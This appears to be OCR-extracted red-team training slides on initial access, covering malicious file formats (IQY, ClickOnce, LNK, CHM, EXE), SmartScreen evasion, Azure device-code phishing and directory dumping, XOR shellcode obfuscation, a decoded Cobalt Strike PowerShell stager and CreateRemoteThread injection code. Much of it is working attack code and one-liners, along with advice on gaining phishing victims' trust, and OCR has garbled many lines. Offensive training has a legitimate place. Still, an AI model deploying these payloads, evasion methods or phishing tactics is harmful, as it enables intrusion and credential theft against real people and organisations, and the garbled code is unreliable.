<img src =x onerror =execScript 5 AOAIl s 2Aat b

e M7,
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import sys
import random

import string

def gen_str (size):

return "".join( random.SystemRandon{).choice(  string.ascii_uppercase + string.ascii_lowercase ) for _in range(size))

str=open( sys.argv [1], "r").read().replace(" ", ")
output ="< img src=%s.png onerror =\"\u0065\ u0078\ u0065\ ud063\ u0053\ u0063\ u0072\ U069\ UO070\ UO074&#40&#39" % gen_str (random.randrange (10, 24))

str=strreplace ("\n","")
for i in strstrip ():
if iis"™
output +=""
elif i is"("
output +="("
elif i is")"
output +=")"
elif i is""™
output +=""
elif i is"="
output +="="
elif i is""™
output +=" \\r"
else:
current = format( ord (i), "x")

output +=" \\u"+ current.rjust (4,"0"

output += "&#39&#448&#328&#39VBScript&#39&#41 \ ">"
i I — Q print(output)
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IQY File:

PROS:
A Easy to write
A Easy to obfuscate or embed another file inside the IQY file
A Pretty flexible: can be chained with other techniques to avoid detection
A No SmartScreen

e M7,
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IQY File:

CONS:
A Well known technique, lot of detection effort has been made
A User interaction required to allow it to run
A Excel disables it on most systems

e M7,
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QY file tricks:

https://gist.github.com/MrUn1k0d3r/abdcfl6ebcef5842c7f79ee6686271e7

=cmd|' /c more /E +12 %serprofiléd Download$poc.iqy> %temg%é)oc.hex&& certutil -decodehew/qiemlg%poc.hex
%temp%poc.dil && Q:Windows Microsoft. NETFrameworkv4.0.3031%regasm.exe /U %temp®l2 OPRE t H HY ! m Q

https://qist.github.com/Mr-Un1k0d3r/4ed3e3e0416fbbd1fd015119359eb961

WEB
1
https://ringzer0.com/IQY

SingleBlockTextimpaottalse
DisableDateRecognitieifralse
DisableRedirectiond-alse

4d5a90000300000004000000fff...

e M7, 0
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ClickOnce

PROS:

A EasytowriteCShar@2 NJ | y& ®b9¢ fFy3dzr3S 2F &2
converted into MSIL)

A Easy to obfuscate

A Pretty flexible: can be chained with other techniques to avoid detection

A Rely on the .NET framework (easy to pivot to unmand@maershell

ALGQA Iy 9.93 29 20Fdza0Ol GA2y OFy 0°¢
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ClickOnce

CONS:
A SmartScreen will be triggered
A User interaction required to allow it to run
A Internet Explorer or Edge is required to deliver the payload

e M7,
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ClickOncdricks:

CShargdor .NET language of your choice) can be easily obfuscated and used to
either load shellcode or unmanaggdwershell

https://github.com/Mr-Un1k0d3r/ClickOnceGenerator

e M7, .
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LNK file:

PROS:
A Easy to generate
A Run arbitrary command
A No SmartScreen

e M7,
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LNK file:

CONS:
A Easy to analyze
A Kind of shady since you need a ZIP usually to add all the needed files
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LNK carpe bundlewith a MSI installer

=]

= securtypatch Z2019.msi
AT IRt

Target type: Application

Target location: system3Z2

Target: Lwindir'csystem 32 vundll 32 exe SHELL3Z DLL .S
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CHM file:

PROS:
A Easy to write (HTML & script based)
A No SmartScreen
A Not super popular

e M7,
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CHM file:

CONS:
A Easy to analyze
A Looks shady from a user perspective
A Limited in your actions

e M7,
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CHM Tricks:
Need to be compiled locally using hhc.exe

<HTHL>

<TITLE>CHM Snippet</TITLE>

<HEAD>

</HEAD>

<BODY>

<CBJECT id=x classid="clsid:adbi880ae—dBff-11cf-9377-002a003b7al1l" width=1 height=1>
<PARMM mname="Command"™ wvalue="ShortCut":>

<PAEAM name="Button"™ wvalue="Bitmap::shortcut":»
<PLAEAM name="Iteml" wvalus=",cmd.exe,/c calc ,">
<PARIM name="Item2" wvalus="2T73,1,1">

</OBJECT>

<script>

x.CTlick():

</5CRIPT>

<A name=contents:

<HZ2 align=center>CHM File</HZ:>

</ B>

</BODY>

< fHTHML>

102
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EXE:

PROS:
A Deep obfuscate
A Pretty flexible: can be chained with other techniques to avoid detection
ALOUQA Iy 9-93 t2¢ 20FdzaOF A2y OFyYy 08
A Direct use of Windows APIs unhooking is possible without writing too much
code

e M7,
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EXE:

CONS:
A SmartScreen will be triggered
A May be hard to run due to policy in place
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EXE Tricks:

AAvoid using generated exe without modification; AV will detect them in a
matter of seconds

ATime to learn assembly and Windows core to obfuscate your code

AZip your EXE. If your target is using anything else than the default windows
archive utility, you will not get SmartScreen since it will removeMiagk of
the Web

11/14/2819 12:37 PM

CA>dir /R

e M7,
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SmartScreen?

When you download certain type of file such as EXE, you may get prompted with
the following screen

Windows Defender SmartScreen prevented an unrecognised app from
starting. Running this app might put your PC at risk_
More info

Windows protected your PC Windows protected your PC

106
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Each downloaded file will contain an ADS file (Alternate Data Stream) with the zone
identifier

cmd.exe /dir /R will show the ADS
Once extracted the ADS contains the following data:

| ZoneTransfer |
Zoneld =3

e M7,
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AZoneld0: Local machine
AZoneld1: Local intranet
AZoneld2: Trusted sites
AZoneld3: Internet
AZoneld=4: Restricted sites



Exercise

Select a payload
based on the recon
result
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Phishing advice:

A Nowadays, getting access to a well secured environment through a phishing
campaign is getting harder. The following tips may help:

A Choose your target wisely
A Do not hesitate to perform multi layers phishing

A Do not hesitate to engage a conversation with the victim to gain trust
(Employee applying for a job and couple of emails exchanged)

A Make your phishing as boring as possible; it may take more time, but
there is less chance it will be reported

A Take your time

e M7,
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You can use Azure ADdetinternal ADaccess

Perfectfor phishingtoo, sinceyou are usinga legitimate Microsoft
endpoint
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You can use thélevicecodefeature

$body=@{
"client_id "=" d3590ed6-52b3-4102- aeff - aad2292ab01c"
"resource" = "https://graph.windows.net"

}

$authResponse = Invoke - RestMethod - UseBasicParsing - Method Post - Uri
"https://login.microsoftonline.com/common/oauth2/ devicecode?api -
version =1.0" -Body $body

$user code = $ authResponse.user code

write -output$ authResponse

M7,
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'S CivUsershcharles.hamilton\Desktop> import-module .%\phish.psl

User_code

device_code

verification_url
sxpires_in
interval

iessage

du

use a web browser to open the p
ienticate.

114
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$jwt = $response.access_token

$output = Parse - IWTtoken -token $ jwt

$upn = $ output.upn

write -output $ upn

Write - output "Dumping Users"

Connect- AzureAD - AadAccessToken $response.access token - Accountld $upn

Get- AzureADUser - All $True | Select - Object - Property * | Out - File AD - users.txt

Write - output "Dumping Groups"
Get- AzureADGroup - All $True | Select - Object - Property * | Out - File AD - groups.txt

Write - output "Dumping Groups Membership"
foreach($group in Get - AzureADGroup - All $True) {

$group.DisplayName | Out - File GroupMembership.txt - Append

Get- AzureADGroupMember- Objectld  $group.Objectld - All $True | Out - File
GroupMembership.txt - Append

}
M7,
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Thecompletesource codes locatedat:

https://mr.unlk0d3r.online/training/source/phishing.psil

116
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Exercise
Try It against
yourself
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o

Crafting payload is an art Most of the attack framework and C2 on the
market offer shellcode as their stage one

e M7,



GalningAccess

First of all, what Is shellcode?
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B8\ x80\xB8\ X060

AShellcode is basically as
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laasSyofteée I y3Idz IS handan reaSablE I WSRIEA 4 2
the opcode processed by the CPU
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The opcode can be converted back to assembly to confirm its assembly
code

OpAsmcan convert opcode to assembly and vice versa

OpAsm Tools v1.3 / Mr.Unlké&d3r RingZer® Team

https://ringzerOctf.com/static/OpAsm.1.3.py

ASSEMELY OUTPUT
B: fc

8f <(null)-ex8bd3eesd>

ebp,esp
edx,edx
edx,DWORD PTR fs:[edx+8x36]
edx,DWORD PTR [edx+8x
edx,DWORD PTR [edx+8x
esi,DWORD PTR [edx+8x28
vzx ecx,WORD PTR [edx+8x26]
edi,edi
eax,eax
al,BYTE PTR ds:[esi]
al,ex61
27 <({null)-8x8bd366+5>



https://ringzer0ctf.com/static/OpAsm.1.3.py

GalningAccess

Shellcode can be executed using small C program

Keep in mind that this approach is not going to work on modern
systems due to memory allocation security measures

The long way The short way

int main() const char main[] = "\zgg\xss";|

char payload[] = "\zxfg\xes\x89\x00\x00 \x00\xE60\ x589\ x5
int(*caller) (void) :
caller = (int(*) () )payload;

caller():
return 0;

M7,
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Once compiled, this complex basically becomes a call EAX, where EAX
pointing to the shellcode

#| 0040139C 838424 5C030000 mov dword ptr ss:|flesp+35C], eax A | show EPU
&0 C70424 24304000 mov dword ptr ss:jfespll,caller.403024 [es
: ES 41080000 call -:Jr-'lF'.l&p-gtsi T — EA) DOEOFBAL |
EIP >e SrDD H—‘jﬁw ptr_ss:jlesp+3sch EBX 00403038 caller.0040303B
- BT OO000000 Moy 2ax.0 ECX TLAAMAFES mswvCri.75AAAEED
L
. 8D6S F4 lea esp,dword ptr ss:[Jebp-cl EDX 00000000
: = s Defauit (stdcall)
. LF pop edi 1: [esp] 004032024 "Calling shellcode"
L sD pop ebp 2: [esp+4] 00000002
& (| 0040 C3 FEL w | 3: [esp+8] 00000008
] 4: [esp+C] 00000007
£ >
(I K
B4y Dump 1 L4y Dump 2 L4y Dump 3 B4y Dump 4 L4y Dump 5 %8 Watch 1 [*=] Locals 2 Struct
Address | Hex ASCII
0&0FBAL|FC E8 89 00|00 00 &0 89|E5 31 D2 &4 |8B 52 30 BB|de.... .aldd.ro.

DGOFBBL|52 OC BB 52|14 BB 72 28|0F B7 4A 26|31 FF 31 CO|R..R..r(.-J&lyld
OOGOFBCT|AC 3C 61 7L |0Z ZC 20 CI|CF 00 UL C7|EZ FO 52 &7 [-=al., ALl..CacRw
DOGOFBD1 | 8B 52 10 8B|42 3C 01 DO|8B 40 78 85(C0 74 44 01| .R..B<.D.@x.At].
DOGOFEEL| DO 50 8B 48|18 8B 58 20|0L D3 E3 3C |49 8B 34 8B|DP.H..X .0&<I.4,
DOGOFBF1| 01 D6 31 FF|31 CO AC C1|CF OD 01 C7 (38 EO 75 F4|.01y1A-AT..CB8aud
DOGOFCOL| 02 7D FS 2B|7D 24 75 E2|58 8B 58 24|01 D3 66 8B|.}e; Fiudx.xs$.of.
DOGOFCI1|0C 4B 8B 55|1C 01 D3 SB|04 8B 01 DO|89 44 24 24| . K.X..0....D.D$%
DOGOFC21| 5B 5B 61 59|5A 51 FF EO|S8 GF GA 8B(12 EB 86 5D | [[aYZOVax_Z..&.]
DOGOFC31| 68 GE 65 74|00 68 77 69|6E 69 54 &8|4C 77 26 07 |hnet.hwiniThLwa.
DOGOFC41|FF DS ES 00|00 00 00 31|FF 57 §7 57|57 57 &8 3A|yDa. ... 1ywwwawh:
DOGOFCS1|56 79 A7 FF|DS E9 A4 00|00 00 SB 31(C9 51 51 &A|Vysyden. . . [1EQ0]
DOGOFCEL| 03 51 51 68|BE 01 00 00|53 50 68 57|89 9F C6 FF|.Q0Qhw...SPhW. . &Y
DOGOFC71|D5S 50 E9 8C|00 00 00 SB|31 D2 52 68|00 32 CO 84|0Pa....[10Rh. 2A.
DOGOFCS1|52 52 52 53|52 50 68 EB|55 2ZE 3B FF|D5 89 C6 83 |RRRSRPhEU. ;. A,
DOGOFCO1|C3 50 63 80|33 00 00 89|ED 6A 04 50|6A IF 56 &8|APh.3...3j.Pj.vh
DOGOFCAL| 75 46 9E 86|FF D5 SF 31|FF 57 57 GA|FF 53 56 68|UF..y0_1ywwivsvh

e 7,
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FC
ES &2000000

31Dz
64:8B52 30
8B52 0C
BBSZ 14
BBETZ 28
OFB74A 26
21FF

31C0

cld

call &0FC30

pushad

mov ebp,esp

xor edx,edx

mov edx,dword ptr Jl: [2dx+30]

mov edx,dword ptr ds:[edx+C]
mov edx,dword ptr ds:[edx+14]
mov esi,dword ptr ds:[edx+25]

movZx ecx,word ptr ds: [edx+2&]
xor edi,edi

XOr eax,eax

lodsb

cmp al, Gl

i1 GOFBCS

sub al,zo

ror edi,D

add edi,eax

looo GOFBEF

EIP Is now pointing to EAX and the shellcode Is executed

[y}

show FPU

EAX 0060FEBAL

EBX 00403038 caller. 00403038
ECX 7HAAAEED msvert. 72 AAAEED
EDX 00000000

EEP Q0Ge0OFFOE

ESP D0G60OFEBC

ESI 00403383 caller.00403383
EDI O060FEEC

EIP O0G0OFEAL

EFLAGS 00000246

ZF 1 PF 1 AF O

OF 0 SF 0O QRE O

CF O TF O IF 1

FC E3 89 00 00 00
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FC ES 89 00 00 00

Typical Metasploit / cobalt strike shellcode signature
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No need to say that Antivirus solutions Even static approach can detect the
and EDR will detect this stager in a matter shellcode signature
of second since it can be detected easily

M7,
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ATo AVOID detection, we will go
through two commonly used
techniques

ALow level obfuscation (using C or
assembly)

AWRAPPING THE SHELLCODE IN
SEVERAL LAYERS OF CODE (GZIP
+ BASE6G4 + C# + UNMANAGED
POWERSHBLL

128
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ALow level obfuscation serves the purpose of evading static detection
and not too sophisticated security products

AThe idea is to hide the original shellcode that can be easily detected
using regex or pattern match

ARuntime detection will still detect the final shellcode behavior
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For instance, DKMC is using adewel obfuscation approach

In a nutshell, the code Is encrypting the shellcode with a 32 bits
(DWORD) key using tlxer operator.

DWORD keg DWORD shellcode
The key Is unknown by the algorithm, and ibrateforcedat runtime
https://github.com/Mr-Un1k0d3r/DKMC

M7,


https://github.com/Mr-Un1k0d3r/DKMC

]‘Hp

Gaining A 3
al n I n g CceSS - 6R push
3 ae pop esl
- : (o] ecx,ecx

mov abx s 2CX
push ax4
pop edx

push
>}~ _ 5 ‘)(.F) ,__41.5% - -
The algorithm used in DKMC to decrt. Pt /080D 5 (o]
the shellcode is only 84 bytes 19 of (c bewap e

1¢: 3 C XO0!

le: 81 19 cmp

Lowlevel obfuscation can be extreme = . oo

compact and much harder to detect = Sl o e |
2C: t « bswap ebx

) 90 06 06 mov
add eax, edx
XOI DWORD PTR

push
pop
4 loo P 33 € o e
d 64 00 00 00 sub eax, x4
f el imp eax
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A\

In the case of DKMC, the obfuscated Making the final payload a polyglot image
shellcode is then embedded in an image
that is 100% valid; the whole image is
also a VALID shellcode

e M7,
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It goes without saying that the possibilities are endless when it comes
to low-level obfuscation



Exercise

Write C code to
execute obfuscated
shellcode Xor)
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The encoder

= = = ] = “Tal = =% = =TT Ty
W o _-__-\.-\_I.T '-.'II_---\_I._ .'.3 I--':-
= o =T o e 2 =] - Ty ™
W o _-__-\.-\_I.: '-.3 _--\_I.__ - -

int main(int argc, char **argv)

CHARR shellcode[] = "\xfgi\xde‘\xzad\zbke'\xgf":

DWORD dwSize = 5:
DWCED i = O;

for(i; i1 < dwSize; i++)

printf("\A\x302Zx", (shellcode[i]

retarn O

MK 7,

23

e

IxEEEEEFOD) ;
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int main(int argc, char **argv)
CHAR shellcode[] = "\=zdf\zxfd\xB8=\=x9%d\=xcc":
DWORD dwSize = 5;
DWORD i = 0;
int (*caller) (void) ;
for(i; i < dwSize,; i++)
shellcode[1] = shellcode[1] ™ O0x23;

caller = (int(*) () )shellcode;
calleri)

retarn O

m@@@&
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Quick note on thexor operator.

The same code can be used to generate the encoder and the decoder

As B=C
Cs B=A

»»>» hex(Bxaa ~ oxbb)
"ex11’
»»> hex(ex1ll ~ exbb)

"Bxaa’
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The fact thatxoris super easy to use is extremely convenient
when it comes to payload obfuscation

CKAa Ada 2yS 2F UKS NBIlFazya A
development

Red team also consists of developing your own malware

M7,
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How Cobalt Strike payload can be obfuscated; luckily, there are a lot of
format types available

Payload Generator — Yok =

This dialog generates a payload to stage a Cobalt
strike listener. Several output options are available.

Listener: [tsz-https v” Add ]
Output: [C -]
x64:

C#
COM Scriptlet
Java
Perl
Powershell

PowersShell Command
Python -

Most of the tool | developed will use the RAW format

M7,
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You want to av0|d using shellcode for Cobalt Strike?pbmeershell
onelinerYF &8 0S (KS &az2fdziazyX

powershell -nop -w hidden -encodedcommand 1;-_;Dﬁ;' El;H';LCEP“G';azElHuH dhh ;th uHuHEﬂH"QEhHu1H uBaHFH dHE,HuHH QEhm
“HLHEbHE“ b“EUHH _EEPHHLHiEHUHD”HP E,HU1HbEE' AGEA {
HLHELHD“HWHEEHu”HuﬂEWHF”H}“Elhu J
:H1“EEHEEHHEE'HE“HﬂHHthlHL“E]HH”Hb“EEHF”H“HHJHD“' gliHDHn;-lq;G”;PEHTHEHH EH4HE“HH Hfhu4h-
SAMOBOAEIA HI'HEEHdEE“ FoAQuwBrAFAAS WwBXA AﬂE&lK&FEHEEEJHH! PEE}HF”H“EH[HHHH”HH £
SQFQ SAGC hE4HFEh“3h:HFHHuHErHE’ WAFZANG GIAegBVADCACWENAE EBKADCAdQAZAGSA g [AETACQQBECAG
AL EIHE4H” gB2 F:] QE'hD“ NOBWAEUAVWBWAHYARQBhAHYASQBEZADT thE_hu g J” AQEABAGCADQESAFUASWE L AG!
AdwA1AGMADEBY HH-' g hbhEEHFEHL J'ff' "EWHU“ E E_huﬂhbhE} l AHUAC "E4QF AC
"_EE HF”HLHHJHFEHdHE} 3
a8 'E“ DHH“HHTHHHHbEEJHF’ “EE'HHHHPHEUHEJHSCEH&E#& WA xﬂi?ﬂ" g ElHD H“EEPHUEH “E_HF LEUHF
DHHbHEPHU’HdHE}HDEH WEMAGOQARABWAHQAME E]HU“H ABhAHIAC HEWHEE SJH,HU FAllg CSAZ0) A A HJHU4HREEqHDEHP;;:;F HuEEHHD
AFMACQBaAESAaWBSAGIAT "E”HH”HﬂHEﬂHF”HP“;:;Fh;H“E'HU”H““HlHDI L“EmHD”H”HE ADAAY JAFEAdQB3AEEAbWBDAGBAREBHAEMAUQEVAE
YHE BAADTAUQBOAGSAN AG AGSAUEBDAGMAQEBaAEUADABK
/AB1AEBASQBHAHC h”QElhu“ }hh'hE L“Elhuhh- H‘ x” AECAV EHhuthhE-huHhuQEBﬁE :
_QHQQQJA_HFHH“HE HE”Hbﬂlﬂh'rH “EmHD”H HE]HUE IH'D HWHE]HE MAFY HE BSAETANABOAGCAYQB2AGBATWEBEAD
AT AGSE IETAH EBETADCA=QEBAEY uBH&E{AHngLGJH WBSAEYA hEHHthﬂhEEHC AVIWEYAG
o EUHH HbHE”HE HdEH'HEh1 ADYAYWESsADEANAESAHUARQAIADT HL“EHHFIﬂ IByAGEAUQAIADCANQEVA G_HdEE'HF YALWwAVAF K 1A
YAKWEY HH|H1EEIHH”H”“E1HH_H““EJHD H”HEHHEEH QB6ADKARQBIAET H”EE“HEEH EHTHU“'“HH_HDEH“ BrAGMAABBADTIACcWBIAFMAGEBESAGEAVEEBAE
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The Base64 decoded data leads to mposvershellcode thanGZIPed
and Base64 once more
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Which decodes to the finglowershellstage

TDoIt = @
function func_get proc_address {

Param ($var_module, $var_procedure)

$var_unsafe_native_methods = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods")

$var_gpa = $var_unsafe_native_methods.GetMethod( 'GetProcAddress’, [Type[]] @('System.Runtime.InteropServices.HandleRef', 'string'))

return $var_gpa.Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($var_unsafe_native_methods.GetMethod('GetModuleHandle' )).Invoke($null, @($var_module)))), $var_procedure))
1}

function func_get delegate_type {
Param (
[Parameter(Position = 8, Mandatory = $True)] [Type[]] $var_parameters,
[Parameter(Position = 1)] [Type] $var_return_type = [Void]
)

$var_type_builder = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', %$false).DefineType( 'MyDelegateType',
'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])

$var_type_builder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $var_parameters).SetImplementationFlags('Runtime, Managed')

$var_type_builder.DefineMethod('Invoke®, 'Public, HideBySig, Mew5lot, Virtual', %var_return_type, %var_parameters).SetImplementationFlags('Runtime, Managed')

return $var_type_builder.CreateType()
¥

[Byte[]]%var_code = [System.Convert]::FromBases45tring( ' 38uqIyMjQ6erGEvFHGHETqHEwQHE3qFELLIRpBRLCEUOPHBIFIQED4uwuIuTBA3FBqHEzqGEFIvOoY1lumd1dpIvNzqGs7qHsDIvDAH2qoF6gi9RL cEuOPAuwuIuQbwlbXIF7bGFAHVsF7qHsHIVBFqC9oqHs /IvCol6gi8spnBwddeElfeXL cw3teagxyKV+581GVyNLVEpNSndLb1QFIN
2yyMjIyMS3HRBdHRBSx1 1WoT c9sgHIyMjeBLgenIIIHIyS5gi IyNweBt8qrz13PZzyq8] IyNAEVFxSyMRAG6d X cXFuc XNLyHYNGNz 2quig4HNLoxAFI6rDSSdzSTx1517 1 vaXcInws3HRBSdxwdUs0ITtY3PamdyyneSIjIxLcptVXI6rayCpliebBFtz2qulLZgl9ELz 2ELxBSSRy dXNLIHTDKNz 2nCMMIyMasFYke3PKWNzc3BLoyr 11 IyPK61i I I8tM3NzcDEpNS
CSDURKRSNIAHX2MQESsdLDA+CI0TDIVISsvkVXPpBLFhUZAIG/ tUNQLNIgsgcqx] Bz 1BMzWxVFW2QF CwtVOhtD55+PDohhWXPz31NrTFBXGONVIWUAT ExINQL 1WUUZGRORGDULGYy4pewS 1UFNNRL cOdUZRUEpMTRKDEgOWL 11 2UEZRDMI ERK1XGONUTF LK T@ICDBYNEWMLDEpNRExUUANTdwMVDRAYA3dRSkdGTVCMFABTGANRVRKSEZBTCENPSKhGAZRGOERMLIKTY
qNQoCO08 julafAliXI0SUIu4MWPCpHYN31R133]1BRxwMBoCHOK T2t alzvdXsrLIhXZ INhgBYVDQcioyWAE2iqaQfloDW3VPy I THWPKzecRT3keSALbyZEebHWquNPBzcO9jim+fIcqyuAwdIqlczZviPNRWANZNoV35sSXLNBkmgvo39y0s25F9vI9ktgidKZCcEp87 jKVsz1/FPT2H2X5n41V3mN3dFmIumhAsVdk] S90WgXXc k1] SyMz IyNLIyNjI3RLeddwxt z )]
s10GIyMj IvpycKrEdEsiAyM] cHVLMbligwdz 2puNXSagkIuCmd1bGe+DLat7c 3FVZTRMTEE1CWVZRRKZHREYNTUZXI@byFaw=")

for ($x = @; $x -1t $var_code.Count; $x++) {
$var_code[$x] = $var_code[$x] -bxor 35

~va = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get_proc_address kernel32.dll Virtual&lloc), (func_get_delegate_type @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])))
$var_buffer = $var_va.Invoke([IntPtr]::Zero, %var_code.Length, @x3680, 8x48)
[System.Runtime.InteropServices.Marshal]::Copy($var_code, @, %var_buffer, $var_code.length)

fvar_runme = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer(%var_buffer, (func_get_delegate_type @([IntPtr]) ([Void])))
Zvar_runme.Invoke([IntPtr]::Zero)

'@

If ([IntPtr]::size -eq 8) {

start-job { param(%a) IEX $a } -RunAs32 -Argument $DoIt | wait-job | Receive-Job
¥
else {

IEX $DoIt
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The big base64 blob of dataxsr with the value 35 (remember how
Xoris used everywhere)

code.Count; $x++) |

var_code[%x] -bxor

Then the decrypted value is Invoked

Bvar_va = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer(({func_get_proc_address kernel32.dll VirtualAlloc), (func_get_delegate type @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])})
Gvar_buffer = $var_va.Invoke([In $var_code.Length, @x3008, @x4@)
[System.Runtime.InteropServices.Marshal]::Copy($var_code, @, %var_buffer, %var_code.length)

Gvar_runme = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($var_buffer, (func_get_delegate type @([IntPtr]) ([Void])))
Gvar_runme.Invoke([IntPtr]::Zero)

M7,
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Decode the final
stage
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PS C:\TW-Too

¢
I\

o o]
o

1 FF 31 @ &1.1
3B 4. : 40 7 4 4A @1 ER.EB<.DE@
<IBA4E 5 31 FF 31 @ AC C1 C

.19 FBuENEKS .

O



This shellcode was obfuscated usi
the following layers

Powershell base64

Gaining ACCESS Powershell code gzip + base64

Base64 the payload

Xor the payload
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Everypayloadstype will end upcalling
shellcode sincethe maliciouscodels always
goingto bea DLL



GalningAccess

Alternative ways to run shellcode:

https://github.com/Mr-Un1k0d3r/PowerlLessShell

Amsbuildxml + C# + encrypted shellcode

Amsbuildxml + C# + unmanagg@wdwershell+ whatevempowershellpayload used
to run the shellcode

M7,


https://github.com/Mr-Un1k0d3r/PowerLessShell
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Alternative ways to run shellcode:

https://github.com/Mr-Un1k0d3r/MaliciousMacroGenerator

AObfuscated VBA to pretty much do everything you want

M7,


https://github.com/Mr-Un1k0d3r/MaliciousMacroGenerator
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Alternative ways to run shellcode:

https://github.com/Mr-Un1k0d3r/SC-bbfuscator

ASimple SCT obfuscator for Cobalt Strike (Sohptlet
A COMscriptlet+ Excel + Macro @reateRemoteThreat load the shellcode

M7,


https://github.com/Mr-Un1k0d3r/SCT-obfuscator
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Speaking o€CreateRemoteThreagou can also execute your shellcode within your
own processCreateThreafor a remote process

Threads are basically code that will be executed in the process. Good news!
Shellcode is code that can be executed

Windows APIs that can be used:

A CreateRemoteThread

A CreateThread

A QueueUserAPC

A X
Memory permission matters: if you want to be able to run shellcode, your memory
needs to be executable

If your shellcode is modifying itself, you need writable memory region

M7,
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CreateThreadnay be detected by static analysis®8rRSSLJ f S| NV

Use Windows APIs callback instead

site:docs.microsoft.com intext:"application - defined callback function” intitle:"function

M7,
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#include < windows.h >

void shellcode () {
asnm(".byte Oxcc, Oxcc");

}

Int  main() {
CHAR "payload = shellcode ;

EnumDesktopsWNULL, (DESKTOPENUMPROGENéE)Icode , NULL);
return O;

}
M7,
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Remote injection requires the use of the following APIs:

OpenProcess Open the remote process

VirtualAllocEx Allocate memory on the remote process
WriteProcessMemory Write the data to the remote process memory
CreateRemoteThread Call the memory location as executable code

M7,



Exercise

Write C code to execute
shellcode using
CreateRemoteThread
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Finclude <Windows.h>

finclude <stdio.h>
int main|(int argc, char **argv)
DWORD PID = atoilargv[l]):
DWCORD dwShellcode = 10;
DWCED dwIThreadID 0;
VOID *mem = NULL;
CHAR shellcode[]

ool xochxoohxoo\ xooh\ e\ xec\ xoc\ xoch oo ;

HAWDLE hProc = OpenProcess (PROCESS ALL RCCESS, FALSE, PID);
printf ("hProg HAWNDLE Ox%p\n", hProc):

mem = VirtualdllocEx (hProc, NULL, dwShellcode, HEH_CDHHIT, PEGE_EHECUTE_REEDWRITE];
printf("mem OxIph\n", mem);

if|{!WriteProcessMemory (hProc, mem, shellcode, dwShellcode, LZdwShellcode))
printf ("WriteProcessMemory failed. Error %1ldin", GetLastErroxr()):

if (CreateRemoteThread (hProc, NULL, O, mem, NULL, O, dwThreadID) == NULL)
printf ("CreateRemcoceThread failed. Error %ld\n", GetLastError|()):
el=e

printf ("Remote Thread ID: %d\n", sdwThreadID):

retorn 0O
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Wantto use C#nstead Interop Servicasyour friend

https://qithub.com/Mr-
Un1k0Od3r/RemoteProcessinjection/blob/master/remoteprocessinjection.cs

[D11Import({“kernel32.dl1l", SetlastError = true)]
public static extern IntPtr OpenProcess{uint processAccess, bool bInheritHandle, int processId);
Console.Writeline("Opening Remote Process PID: {@}", PID);

IntPtr hProc = OpenProcess(@x@B1lFBFFF, false, PID);
if(hProc == IntPtr.Zero)

T


https://github.com/Mr-Un1k0d3r/RemoteProcessInjection/blob/master/remoteprocessinjection.cs

GalningAccess

NET can be used to hide your code using n&raeectedMemory

class
Fields

CrossProcess

Samelogon

SameProcess

M7,

All code in any process can unprotect memory that was protected using the Protect(Byte[]l, MemoryProtectionScope] method.

Only code running in the same user context as the code that called the Protect(Byte[]._MemoryProtectionScope) method can
unprotect memaory.

Only code running in the same process as the code that called the Protect(Byte[]. MemoryProtectionScope) method can
unprotect memory.
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Samelogimnd SameProcessanbe usedto preventsecurityproduct
scan toanalyzeyour maliciousdata storedin memory,sincethey will
not be able tounprotectthe memory

Fields

CrossProcess 1 All code In any process can unprotect memory that was protected using the Protect(Byte[]. MemoryProtectionScope) method.

SamelLogon 2 Only code running in the same user context as the code that called the Protect(Byte[]._MemoryProtectionScope)] method can
unprotect memaory.

SameProcess 0 Only code running in the same process as the code that called the Protect(Byte[]. MemoryProtectionScope) method can
unprotect memory.,

M7,




Exercise

Write C code to
execute shellcode using
CreateThread
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¥include <Windows.h>
¥include <stdio.h>
int main(int argc, char **argv)
CHAR shellcode[] = "\xcco\xcch\xccochxooch\xoo\xco\xcohxoochxoohxoo™;
DWORD dwSize = 10;
VOID *mem = VirtuallAllocEx (GetCurrentProcess(), NULL, dwSize, MEM COMMIT, PAGE EXECUTE EEADWRITE)

printf ("mem at Ox%p\n", mem);

memncpy (mem, shellcode, dwSize) !

if(CreateThread (NULL, dwSize, mem, HNULL, O, HULL) == HNHUOLL)
printf("Failed to CreateThread %]d\n", GetLastError()):

retorn 0;

e M7,
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The call to theCreateThreadonfirms that the code will be executed
®| 004013ES 8B55 F4 —, edx dword ptr ss:febp-Cj)
®| O04013ES BE45 FO mov eax,dword ptr r5:[-eh|::-l-:]]
®| 002013EBE C74424 14 00000000 Mo dwnrd ptr ss:ffjesp+14),«
®| 004013F3 C74424 10 00000000 mov dword ptr ss:fflesp+10{,(
®| 004013FB C74424 0OC 00000000 mov dword ptr ss:ffesp+Cl)l,0
e 00201403 895424 0B mov dword ptr ss:fesp+3af,edx
& | 00401407 594424 04 mov dword ptr ss:ffesp+4)l,eax
® | 00401408 C70424 00000000 mov dword ptr ss:ffespdl,0
N 00401412 | EE BLlOBOO0O call <JIMP.&CreateThreads>
Quick note on calling convention on 32 bits systd@rases the stack In

to push the arguments e e

In this case ESP + 4 = OXx0060FEBO = f;c;;c;;;;g 00000004

Address | Hex ASCIT

00020000 (B CC CC CC|CC CC CC CC|CC CC OO0 00|00 00 00 00| FIXITITTYY......
ooo020010 | 00 OO OO0 00|00 OO OO0 00|00 OO0 OO 00|00 00 OO0 00| ...c.eeeeeennana
ooo20020 | 00 00 00 00|00 OO0 OO0 OO|(O00 OO0 OO 00|00 00 OO 00| ...c.eeeenenaana
ooo020030 | 00 00 00 00|00 OO OO0 00|00 OO0 OO 00|00 00 OO 00| ...c.eeeenennana
ooo020040 | 00 00 00 00|00 OO OO0 OO|O00 OO0 OO 00|00 00 00 00| ...c.eeeenennana
